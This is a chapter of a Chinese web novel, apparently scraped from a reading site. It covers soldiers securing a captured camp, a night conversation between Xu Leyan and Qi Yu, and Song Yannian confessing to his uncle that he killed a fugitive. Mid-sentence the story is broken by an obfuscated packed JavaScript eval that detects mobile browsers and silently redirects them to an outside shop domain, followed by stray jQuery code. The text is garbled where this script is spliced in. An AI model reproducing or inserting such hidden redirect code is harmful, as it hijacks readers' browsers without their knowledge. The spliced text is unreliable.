孟戈带军打得很快,更何况有大半的战力已经无法动弹。徐乐延和齐誉再次赶回营地时,孟戈已经尽数将人拿下了。
“叔,刚刚外面落下了三个。”
徐乐延走近孟戈,和他交代了一下刚刚的经过。孟戈点了点头,吩咐一个小队去将逃脱在外的三名士兵捉拿回来。
“你看看,这是不是你要找的人质?”
孟戈指了指依然昏睡不醒的一个衣着华丽的中年男子,有些无奈。
“我们的人试过了,怎么叫都不醒。看来还是得带回城去,找个厉害些的大夫才好。不过随行军医看过了,生命无碍,不用担心。”
“那就好,等回去再叫醒他也不迟。”徐乐延看着昏睡不醒的解家三叔,有些不放心。以书韫的描述来看,他若是真的醒了,怕是会随时准备逃跑。
虽然他也是被云放蛊惑,但走私的罪名是逃不了的,若他知道自己落在将军手里,定不会老实地等候发落。
“这里的将领呢?”
孟戈拍了拍手上的尘土,颇有些怨气在其中。
“发现我们人数众多,他们不能敌的时候临阵脱逃,被我打昏了。”
当兵的人最忌讳军中有这种人出现,更何况这人是一方将领,姑且算作是将领吧。
孟戈对此很是气愤,下手也有些重,虽不至于将人打残,但也要好些时辰才能清醒。这样也好,省得他醒了还要费心照看他。
徐乐延见此处事情已经完毕,悬着的心也终于放了下来。一旁的齐誉早就不在他身边了,他在这处营地四处乱晃,看见什么都觉得新奇的很。
若不是赤河军军纪森严,没人理他,他倒真的想同他们聊上一聊。
“你这药倒是不错。”孟戈看着晕乎乎躺了满地的人,无论被人怎样摆弄都不见清醒,十分好奇。
“哪儿弄的?回头给我也弄点儿。”
徐乐延挠了挠头,有些尴尬。
“这个药不是我的,是出发前大殿下为我们准备的药,以备不时之需。等我回了京府找机会问问他。”
宋方凛在城门前送他们的药,一直都被徐乐延揣在怀里。长乐二人出门不爱揣东西,觉得是累赘。只有他会主动挑一些药带在身上以备不时之需,这不就正好用上了。
不过能让大殿下送出手的东西,怕是十分金贵。就算他事后真的问到了,估计也很难大批量购入,送给孟叔。
到时候再问吧,若是真的价值连城,他就再同孟叔解释。
“世子,接下来我们该如何行动?”此处属于武家的私兵已经都在控制之下,孟戈见时候差不多了,便同徐乐延请示着。
若是要连夜进城,他也好早做准备。
“我们正好借用他们的营地休整一晚,明日一早出发,午时恰好可以进城。”
得了命令,孟戈很快便去差人安排接下来的休整事宜。
很快,徐乐延的身边就又剩下了他自己。
也好,这样最好。不然和人沟通总要浪费他大半的心力,总要斟酌自己是不是哪句话没有说对。
徐乐延长须了一口气,似乎是才得了喘息的空间。
偏巧,齐誉就看不惯他自己孤零零的样子。这儿这么多人,热热闹闹的多有趣!他自己坐在那边要干什么?明明是他家的兵,搞得好像他被孤立了一样,甚至比自己这个外人更不合群。
齐誉踮着脚走到了徐乐延的身后,准备给他来个大大的惊喜,却不曾想徐乐延正在拿着那块兵符出神。
刚刚他离得较远,没能看清。此时瞧见了,却让他有些不好意思下手了。
“瞧什么呢,那么出神。”
齐誉一改捉弄的心理,在他旁边坐了下来。
徐乐延见是齐誉,便没有将手上的兵符收回去,而是继续用手磋磨着。
“今日,若是你拿着这兵符,你会如何安排?”
“不是吧你?我们大获全胜了好吧,你竟然在这里反思问题?这么值得高兴的事儿你不想,偏偏想那些不高兴的,你这人心理是不是有问题?”
齐誉瞪着眼睛,看着眼前的怪人。他到底是对自己哪一点不满啊?他但凡有他一点儿模样,他爹都能把祖坟重新风风光光地修葺一遍,满京府昭告他们家出了个人才。
所以真正的人才都是这样的?怪不得他成不了人才,只能当个普通人。
忒累!
“日日反思才能保持精进,高不高兴的倒不重要。”徐乐延也不知道齐誉在激动什么,这对他来说不过是平常的小事而已。
“高兴才是最重要的事吧,不然人活着还有什么乐趣?”
“当然有!孝顺长辈,报效国家,匡扶正义……”
“打住打住!”怎么竟说他不爱听的,齐誉发现这人聊天好无趣!
“你说的这么大这么宏伟,就没有什么细微的,属于你个人的吗?”
当然有,徐乐延暗暗道。但是他不打算告诉他,毕竟他们还没熟络到那个程度,这种最深处的秘密,还是埋藏着比较好。
徐乐延抬头望向有些偏移了的斜月,清冷的灰白色掩盖了他内心的喧嚣。还是很想延年他们啊……
他这人属于自己的愿望其实很少很少,但是只有一个对他来说十分重要。那就是不论今后如何,他都希望能和长乐、延年一直在一起。
对于他来说,自打最宠爱他的外婆去世后,他们二人就是他连接这世间唯一的绳索。只有在他们身边,他才能感受到何为生活。
夜晚的风愈发的凉了,徐乐延习惯性的想找些东西披在身上,才意识到自己已经不在解府了。
“冷了?”齐誉看着直搓手臂的徐乐延问道,刚刚那一瞬的停顿,他能猜得到他的刻意回避。不过他也不是刨根问底的人,正好趁此机会换个话题。
于是齐誉将自己身上的外袍脱了下来,递给了徐乐延。
“你的伤还没彻底愈合,跟着我们跑了一路,总不至于再让你受风寒。”
徐乐延拒绝了齐誉的外袍,齐誉一直跟到现在,他已经很感激了,总不能连吃带拿,可齐誉一个人使劲薅吧?
“我武学造诣虽不深,但体质还是可以的。还是你穿着吧,这点儿温度对我来说可不算什么。”齐誉斜睨着眼睛看向徐乐延,带了些许嘲笑。
“好吧。”徐乐延接过了齐誉的好意,毕竟他是真的不抗冻,稍有风吹,他就容易着凉。
明日就要进城,他不好拖后腿。
见他接过了外袍,齐誉便不再看他,而是四处瞄着,看看有什么热闹能瞧。
周围的兵将们都在忙活自己的事,连闲聊的都没有,一个个动作迅速,丝毫不拖泥带水。
这就是军纪严格的兵将啊,就是不一样。
没了乐子可瞧,齐誉不免唉声叹气了起来。双手拄在身后,仰着身子抬头看那一篇黑黢黢的夜色。
“不知道剑南现在如何了,倒是真想亲眼瞧瞧呢。”
“定会顺利的。”徐乐延说的斩钉截铁。
大概能称得上是顺利吧,尽管每个人都遇到了小小的波折。
李长乐和宋延年刚好在府衙门口相遇了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376165|131064||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
见是宋延年,李长乐开心地扬起马鞭,朝着宋延年指了指。
“如何?”
“李小将军英姿飒爽,英勇无比!”宋延年很配合地捧着长乐夸赞着,而后跳下了马,走到李长乐的身前。
“李小将军请下马!”宋延年微微伏身,伸出了手。
李长乐也不扭捏,很自然的搭在了他的手上,跳了下来,同时还不忘打趣道:“难得你今天这么配合,那定是我今天确实威风逼人呐!”
“啊是是是是……”
宋延年无奈地摇着头,同李长乐一同走进了府衙。
李牧然还在里面等着他们二人,见两个孩子终于平安归来,终是暗自呼了口气。
不担心是假的,但孩子总要放出去历练。
下次定要叫那徐清河出来带孩子,这种担惊受怕的劲儿来的多了,他还真有些吃不消了。
“爹!我们回来了!”李长乐是个大嗓门,经常人未到,声音先进门。离得老远就飘来了她洪亮的声音,听得李牧然连连失笑。
“没见过谁家将军如此不稳重,扯那么大嗓门作甚!”
“我事儿办得稳重不就行了?”对于她爹毫无力度的“训斥”李长乐丝毫不介意,听得多了倒是没什么感觉了。
身后,钱贺紧跟着进了正堂,同时还带着被五花大绑的云放。
“将军,人是现在审还是……”
“带下去问清剑南余党,然后带回京府。”
云放身上有太多他们想知道的秘密了,短时间内根本审不出个所以然,因此将此人尽早带回京府,交由慎刑司才是最合理的选择。
钱贺得了命令,便带着云放下去审问了。刚刚他用极其下流的眼神看长乐,这次落在他的手里……
钱贺心中冷笑不止,总该叫这个畜生好好享受一番。
“找到魏若轩的踪迹了吗?”李牧然见延年并未将人带来,以为是任务失败了,心中盘算着如何安慰几句,然后差人继续搜寻。
“找到了,但是他死了。”
“死了?”李长乐瞪大了双眼,不解地看着宋延年。
“武家人出手的吗?他都搞垮魏家了,如今还要赶尽杀绝啊。”
“不是……人……其实是我杀的。”宋延年有些焦急地看着李牧然,然后羞愧地低下了头,抱歉地说道:“对不住,姨父。这次任务是我自作主张了。”
“你不是滥下杀手的人,细细说来。”李牧然并没有怪罪宋延年,他只是想听听宋延年选择自己动手的理由。
宋延年将抓捕过程中,他的所见所闻细细道来,生怕落下哪个细节,让姨父分析有误。
李牧然在听完宋延年的话后,有些语重心长。
“延年,一个将领的决策,大都基于自己的经验。在同一场战事上,两个将领的抉择可能完全不同,因此,无论是哪个选择,都要看其初心。若是选择错误,就要有承担责任的意识。权力与责任始终连载一起,权力越大,要承担的责任也就越大。”
“我知道了,姨父。”宋延年自知犯了错,垂着头,老老实实地听着李牧然的教训。
李长乐见他这个样子,也不免着急地为宋延年解释:
“爹,延年他……”
“你闭嘴吧,没听懂就别插话!我那是说他做错了的意思吗?”
“啊?姨父没怪我?”听到李牧然这样说,宋延年也抬起了头,疑惑地问道。
李牧然死抿着双唇,突然有些想念乐延了。至少那孩子能听得懂话!
唉!算了,自家孩子。